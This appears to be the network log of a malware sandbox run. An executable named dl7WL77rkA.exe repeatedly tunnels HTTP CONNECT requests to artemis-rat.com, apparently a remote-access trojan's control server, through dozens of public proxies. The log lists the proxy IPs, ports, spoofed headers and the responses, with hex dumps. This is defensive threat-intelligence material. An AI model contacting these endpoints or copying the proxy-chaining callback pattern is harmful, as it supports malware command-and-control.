Mar 11, 2024 03:30:45.697756052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.852153063 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1717	192.168.2.5	54601	103.127.1.130	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.699915886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.084530115 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1718	192.168.2.5	54050	46.4.252.237	9050	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.708370924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.702033043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.702018023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.702080011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1719	192.168.2.5	54612	15.207.35.241	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.710920095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.105297089 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1720	192.168.2.5	54708	35.237.210.215	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.723361969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.534235954 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1721	192.168.2.5	53324	74.119.144.60	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.833403111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1722	192.168.2.5	53967	119.18.149.34	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.834656954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1723	192.168.2.5	53225	103.105.228.35	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.834659100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.232142925 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
1724	192.168.2.5	54804	38.162.8.89	3128

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.834837914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.287482977 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1725	192.168.2.5	50551	162.240.73.148	42272	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.838998079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1726	192.168.2.5	54699	183.100.14.134	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.838998079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.592586040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.592762947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405340910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.999327898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.701951027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.389390945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1727	192.168.2.5	50582	162.214.197.102	46430	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.839204073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.902410984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.014635086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.014570951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1728	192.168.2.5	54860	104.16.143.127	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.839258909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.993612051 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1729	192.168.2.5	54694	207.180.234.220	37736	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.839576006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.592628956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1730	192.168.2.5	54675	103.86.109.38	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.840861082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.227899075 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1731	192.168.2.5	54726	82.64.77.30	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.840943098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.145682096 CET	555	IN	HTTP/1.1 403 Proxy Error Date: Mon, 11 Mar 2024 02:30:45 GMT Server: Apache X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 313 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 43 6f 6e 6e 65 63 74 20 74 6f 20 72 65 6d 6f 74 65 20 6d 61 63 68 69 6e 65 20 62 6c 6f 63 6b 65 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Proxy Error</title></head><body><h1>Proxy Error</h1><p>You don't have permission to access this resource.The proxy server could not handle the request<p>Reason: <strong>Connect to remote machine blocked</strong></p></p></body></html>
Mar 11, 2024 03:30:47.037456989 CET	555	IN	HTTP/1.1 403 Proxy Error Date: Mon, 11 Mar 2024 02:30:45 GMT Server: Apache X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 313 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 43 6f 6e 6e 65 63 74 20 74 6f 20 72 65 6d 6f 74 65 20 6d 61 63 68 69 6e 65 20 62 6c 6f 63 6b 65 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Proxy Error</title></head><body><h1>Proxy Error</h1><p>You don't have permission to access this resource.The proxy server could not handle the request<p>Reason: <strong>Connect to remote machine blocked</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1732	192.168.2.5	54843	74.48.7.43	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.841114998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.012542009 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.3 Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1733	192.168.2.5	54712	51.210.223.9	3000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.841118097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1734	192.168.2.5	54040	37.187.91.192	21981	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.842807055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1735	192.168.2.5	54739	88.99.138.21	6969	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.844058990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1736	192.168.2.5	54685	45.11.95.165	5212	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.844733000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1737	192.168.2.5	54721	185.49.31.207	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.888959885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1738	192.168.2.5	50706	138.197.102.119	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.892050982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.041127920 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:49 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 